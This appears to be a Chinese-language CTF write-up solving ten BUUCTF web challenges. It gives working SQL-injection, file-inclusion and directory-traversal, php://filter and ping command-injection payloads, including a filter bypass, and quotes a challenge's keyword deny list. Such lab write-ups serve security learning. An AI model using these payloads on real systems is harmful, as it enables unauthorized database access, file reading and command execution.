BUUCTF-Web1

1.[极客大挑战 2019]EasySQL

打开环境给出一个登录页面

通过题目可知这是一个SQL注入题

注1:SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

尝试在用户名后加上’出现如下报错:

猜测后端sql查询语句为:

1
select * from username='$username' and password='$password'

而拼接后的语句为:

1
select * from username='1'' and password='1'

故报错

那么在这里可尝试构造:

1
1' or 1=1#

该语句在拼接后为:

1
select * from username='1' or 1=1#' and password='1'

在这个语句中username=’1’ or 1=1的结果必然是1,而“#”注释掉了后续的语句,故此处代码执行结果为1,登录成功。

注2:逻辑运算符“or”(或)在使用时,两个条件其一为真,结果为真。而1与布尔值“True”(真)等价,0与布尔值“False”(假)等价

注3:登录页面的原理为服务器在数据库中查询用户名与密码是否匹配,匹配成功则返回true,登录成功,反之登录失败。

2.[极客大挑战 2019]Havefun

打开题目环境,没有找到有用的信息

按F12打开开发者工具,查看源码

源码最底下中有一段注释:

1
2
3
4
5
$cat=$_GET['cat'];  #接收get请求的cat参数并赋值给$cat
echo $cat; #输出$cat
if($cat=='dog'){ #判断$cat的值是否等于"dog"
echo 'Syc{cat_cat_cat_cat}'; #输出flag
}

这段代码是出题人给的提示,是后端的代码

注4:前面带“$”的是php中的变量,“$_GET[‘’]”是php中用于接收GET请求参数的代码。

但显然,“Syc{cat_cat_cat_cat}”并不是这个题目的flag(因为我交过,错的;w;)

所以我们可以尝试构造:

1
/?cat=dog

注5:get传参时需要在当前目录文件后加上“?”

得到flag

3.[HCTF 2018]WarmUp

(此题难度高于其余同解出数量的题,可先跳过)

打开环境,同样没见到有用的信息

F12查看源码,发现注释提示了个“source.php”的页面

进入“source.php”,看到一页代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm #定义emmm
{
public static function checkFile(&$page) #创建checkfile函数,将接收到的值声明为$page变量
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; #创建变量名为$whitelist的数组
if (! isset($page) || !is_string($page)) { #检查$page是否存在以及是否为字符
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) { #检查$page的值是否在$whitelist中存在
return true;
}

$_page = mb_substr( #截取字符串
$page,
0,
mb_strpos($page . '?', '?') #在变量末尾添加“?”并查询“?”在$page中第一次出现的位置
);
if (in_array($_page, $whitelist)) { #查询截取的字符串是否在$whitelist中
return true;
}

$_page = urldecode($page); #将url解码后的$page赋值给$_page
$_page = mb_substr( #再次截取字符串
$_page,
0,
mb_strpos($_page . '?', '?') #在变量末尾添加“?”并查询“?”在$page中第一次出现的位置
);
if (in_array($_page, $whitelist)) { #查询截取的字符串是否在$whitelist中
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file']) #检查file是否为空
&& is_string($_REQUEST['file']) #检查file是否为字符串
&& emmm::checkFile($_REQUEST['file']) #检查file是否通过上面定义的checkfile函数的检查(总结一下就是只允许source.php和hint.php这俩白名单内的文件通过检查)
) {
include $_REQUEST['file']; #包含file文件
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

注5:mb_substr() 是 PHP 中的一个多字节字符串函数,用于从字符串中获取一个子串。mb_strpos() 是 PHP 中的多字节字符串函数,用于查找字符串中第一次出现指定字符或子串的位置。

上述代码大致执行流程为:

1.传入file参数

2.检查file参数是否为空以及是否为字符串,并交由chekfile函数检查文件名是否在白名单内

3.通过白名单检查后包含file传入的文件

注6:PHP 文件包含是一种在PHP脚本中重用代码、模块化项目、增加代码移植性的机制。它允许开发者在当前脚本中引入其他文件的内容,以便于重用代码或模块。PHP提供了几种文件包含的方法,包括include、require、include_once和require_once

checkfile函数的大致执行流程为:

1.在变量末尾添加上“?”并查询“?”第一次出现的位置,

2.截取变量“?”之前的值进行白名单检查

3.将变量进行url解码并重复检查

注7:URL编码,也称为百分号编码(Percent-encoding),是URL(统一资源定位符)中的一部分,用于表示不能直接包含在URL中的字符。URL编码是保证URL在传输过程中不被误解或损坏的关键机制,尤其是在包含非ASCII字符时。正确使用URL编码可以确保URL在不同的系统和应用程序间保持一致性和可解析性。

观察上述代码还可以发现还存在另一个名为“hint.php”的页面,提示中flag的文件名为“ffffllllaaaagggg”

构造payload尝试包含“hint.php”文件:

1
/source.php?file=hint.php

在”hint.php”后面加上“?”确保参数通过白名单检查

1
/source.php?file=hint.php?

而后尝试目录穿越寻找flag,最终穿越四层目录找到flag

1
/source.php?file=hint.php?/../../../../ffffllllaaaagggg

注8:该题目环境使用的是“Apache”框架,该框架下网页文件通常放在“/var/www/html”目录下,而ctf中,通常将flag放在“/”(根目录)下。而在Linux系统中../表示上一层目录。(目录=文件夹)

4.[ACTF2020 新生赛]Include

打开环境后只有一个名为“tips”的超链接

点击超链接后观察url发现存在文件包含

使用php伪协议读取文件:

1
2
3
4
5
/?file=php://filter/convert.base64-encode/resource=flag.php

php://filter/: 这是PHP的伪协议,用于在读取文件之前或之后应用过滤器。这里的 filter 允许在读取文件内容时执行转换。
convert.base64-encode: 这是一个过滤器名称,用于将读取到的数据进行Base64编码。convert.base64-encode 过滤器将文件内容转换成Base64编码的字符串。
/resource=: 这个关键字表明接下来的部分是资源的路径。在这里,它指向了 flag.php 文件。

注9:PHP 伪协议(PHP Pseudo-Protocols)是 PHP 语言中用于访问和处理资源的一种特殊方式。它们不是真正的网络协议,而是 PHP 内建的机制,允许开发者以特定方式与文件系统、内存、标准输入输出流等交互。PHP 伪协议通常与文件包含函数一起使用,如 include、require 等,以便在运行时动态地读取或执行内容。

1
2
3
4
5
6
7
8
9
以下是一些常见的 PHP 伪协议:
file://:用于访问本地文件系统。如果 allow_url_fopen 设置为 On,则可以通过 file:// 前缀来包含本地文件。
php://:这是最常用的 PHP 伪协议之一,提供了多种用途,例如:
php://input:在 POST 请求中访问原始输入数据。
php://filter:在读取文件或数据时应用过滤器。
php://memory 和 php://temp:在内存中创建临时文件流。
data://:允许在URL中直接嵌入数据,通常用于包含小块文本或二进制数据,而不是从文件系统中读取。
phar://:用于访问 PHP 归档(PHAR)文件中的资源。
compress.zlib:// 和 compress.bzip2://:用于压缩数据的读取和写入。

得到一串base64编码

注10:Base64编码是一种用于将二进制数据转换为可打印ASCII字符的编码方法,它使用64个字符来表示数据。这些字符包括大写字母(A-Z)、小写字母(a-z)、数字(0-9)以及两个特殊字符(+ 和 /)

解码后得到flag

注11:我平常使用的base64解码网站:https://www.qqxiuzi.cn/bianma/base64.htm

5.[ACTF2020 新生赛]Exec

打开环境,是一个执行ping命令的网页

尝试执行

猜测后端代码为:

1
ping $PING

拼接后为:

1
ping 127.0.0.1

而后尝试使用分隔符”;“分隔ping命令,使用ls命令列出当前目录下文件

后端代码拼接为:

1
ping ;ls

ls命令执行成功

尝试执行ls /,列出根目录下所有文件

执行成功且找到flag文件

使用cat命令读取flag文件

成功读取flag

6.[GXYCTF2019]Ping Ping Ping

这题和上题类似,都是命令执行

打开环境发现提示我们使用get请求来执行命令

ping命令执行成功,继续尝试使用分隔符执行ls命令

执行成功,发现flag,尝试执行cat flag

执行失败,发现这个题目过滤了空格

尝试使用${IFS}绕过空格

发现部分特殊字符被过滤

再次使用$IFS$1绕过

注12:可以使用与空格等价的字符绕过空格的过滤,部分可以替代的字符👉空格绕过

这次发现flag被过滤了

先看看index页面的源码

这个flag的正则似乎把路给堵死了

注13:正则表达式(Regular Expression,简称 regex 或 regexp)是一种模式匹配工具,用于在文本中查找、替换或捕获符合特定规则的字符串。它们由一系列字符和特殊符号组成,这些字符和符号代表了不同的字符集和操作。

但是我们还是可以尝试拼接flag

1
/?ip=;a=g;cat$IFS$1fla$a.php

把g赋值给$a,而后直接在后面拼接$a

fla$a.php在执行时成为了flag.php

执行成功,得到flag(有时候flag是不显示在页面的,需要在源码里面查看)

7.[SUCTF 2019]EasySQL

这题太难了 我搞不太明白 建议跳过

前面两步比较简单,用“;”分隔查询语句进行堆叠注入,得到库名和表名

可以确定flag在Flag表中,后面想要继续查询

但是发现有关键词被过滤了

不会了,总结了一下大佬的wp

被过滤的关键词有:

1
"prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|"

后端的查询代码为:

1
$sql = "select ".$post['query']."||flag from Flag"; 

(大佬靠猜能猜到这个语句)

法一:

构造payload:

1
*,1

它和查询语句在拼接后会变成:

1
select *,1||flag from Flag; 

**注14:逻辑运算符“||”(或,和or等价)直接截断了flag,最终查询的时候就变成了“select ,1 from Flag;”*

法二:

不会,上链接:

[SUCTF 2019]EasySQL - y0Zero - 博客园 (cnblogs.com)

8.[强网杯 2019]随便注

这题也有点难,buu的sql注入大多都不简单)

直接提交发现url上有参数可以直接修改,比较方便

加上单引号后报错,说明是字符型注入,尝试构造以下语句进行堆叠注入:

1
2
1';show databases;#
1';show tables;#

成功获取到库名和表名

但尝试查询数据时发现关键词被过滤

查阅大佬的wp后

使用没有被过滤的handler代替select来逐行查询表内数据:

1
1'; handler `1919810931114514` open as a; handler a read next;#

注15:HANDLER需要先声明并打开一个或多个表,指定表名以及可选的索引,如:
HANDLER table_name OPEN AS handler_name;
打开表后,可以使用READ命令来逐行读取数据,直到没有更多行为止,如:
READ handler_name NEXT INTO @var1, @var2;

注16:sql语句中的数字表名需要用``(反引号)包裹

9.[极客大挑战 2019]Secret File

打开环境没看到啥有用的信息,

老规矩F12,看到一个页面

进入后看到一个按钮

点击后如下图所示

跳转的很快,没看到啥,抓包看看

又有一个页面,进去看看

又是文件包含的代码,尝试直接包含flag.php

不行,没用

尝试php伪协议

1
?file=php://filter/convert.base64-encode/resource=flag.php

得到base64编码

解码得到flag

10.[极客大挑战 2019]LoveSQL

终于来了个简单点的sql注入

打开环境是熟悉的登录页面

再次尝试“1’ or 1=1;#”

登录成功 但是密码不是flag且并没有啥用

这里尝试使用联合查询

1
1' union select 1,2,3;#

注16:使用联合查询查询数字的时候数字会被放在字段末尾并且可能会显示,比如此处的1,2,3查询了3个字段,且1,2,3被放在了这三个字段的末尾,若是当前查询的这个表字段数量不是3则会报错。而且我们可以通过查看显示的是哪个数字来判断哪个字段会回显,比如此处原来显示的用户名和密码变成了2,3。因此第二个和第三个字段有回显。

可以看到2,3位置出现回显,我们可以尝试将2或3替换成相应的语句来查询需要的信息:

1
1' union select 1,2,database();#

得到数据库名,继续构造语句用来查看该数据库的所有表:

1
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek';#

注17:大部分语句这里都有现成的,改一下参数就能用👉SQL注入

注18:table_schema=’xxx’参数中的xxx替换成相应库名

这里需要注意一个点,这里url上的;#需要换成相应的url编码%3B%23才能用,不然会出现以下情况:

这里我们得到了geekuser和l0ve1ysq1两张表,flag在l0ve1ysq1表中(因为我查过了),继续构造语句查询该表中的所有字段:

1
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='geek' and table_name='l0ve1ysq1';#

注19:table_name=’xxx’中的xxx替换成相应表名

这里得到了id,username和password三个字段,flag在password字段中,我们构造语句查询flag:

1
1' union select 1,2,group_concat(password) from l0ve1ysq1;#

注20:group_concat(xxx)中的xxx替换成相应字段名,from xxx中的xxx替换成表名

得到一串字符串,flag就在里面:

1
'wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{8ecd71af-d294-4b53-aefb-43b4299160da}'